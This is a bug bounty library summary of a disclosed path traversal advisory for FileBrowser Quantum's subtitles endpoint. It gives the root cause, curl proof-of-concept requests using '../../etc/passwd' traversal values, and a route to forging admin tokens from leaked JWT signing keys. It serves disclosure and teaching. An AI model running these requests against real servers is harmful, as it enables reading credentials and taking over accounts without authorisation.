# FileBrowser Quantum's path traversal issue in subtitle handler allows any authenticated user to read arbitrary files

FileBrowser Quantum's /api/media/subtitles handler skips SanitizeUserPath on `path` and joins raw `name`, letting any authenticated user read arbitrary host text files.

- Payout: Research
- Severity: high
- Program: FileBrowser Quantum
- Found by: je-lv
- Disclosed: 2026-07-31
- CVE: CVE-2026-54910
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-vvp7-h4fj-m28w
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-vvp7-h4fj-m28w
- Tags: area:web domain:web impact:data-leak impact:privesc kind:research platform:ghsa sev:high tech:go technique:source-review vuln:access-control vuln:path-traversal

**Target:** GET /api/media/subtitles endpoint (Go backend)
**Root cause:** subtitlesHandler passes the raw `path` query param to idx.GetRealPath() without SanitizeUserPath(), and joins the raw `name` param via filepath.Join(parentDir, name) without stripping directory components, so `..` segments escape the storage root.
**Steps:**
1. Authenticate to get a token: `curl -X POST "http://host/api/auth/login?username=admin" -H "X-Password: admin"`
2. Vector 1 (no anchor): `curl "http://host/api/media/subtitles?path=../../etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN"`
3. Vector 2 (anchor file required): create `/srv/poc.txt`, then `curl "http://host/api/media/subtitles?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN"`
4. Response returns file contents with HTTP 200 (target must be UTF-8 valid and <50MB).
**How found:** Code review noting every other handler calls SanitizeUserPath() before GetRealPath() while subtitlesHandler skips it, plus the raw `name` flowing into filepath.Join.
**Exploitation:** Any authenticated user, regardless of role, requests the subtitles endpoint with traversal in `path` (or `name` with a valid anchor) to read server-readable text files such as /etc/passwd, SSH keys, config DB creds and JWT signing keys; the latter enables forging admin tokens.
**Escalation:** Reading the JWT signing key from config/database allows forging admin tokens, escalating from any authenticated user to admin.
**Insight:** Grep for handlers that call GetRealPath()/filesystem reads without the codebase's own SanitizeUserPath() wrapper — a single handler missing the shared sanitizer is a reliable traversal; also check secondary params joined via filepath.Join, which resolves `..` even when the primary path is clean.

## Proof of concept (copied exactly from the original report)

**curl PoC for path traversal vector**

```
curl "http://localhost:18080/api/media/subtitles?path=../../etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN"
```

**curl PoC for name traversal vector**

```
curl "http://localhost:18081/api/media/subtitles?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN"
```

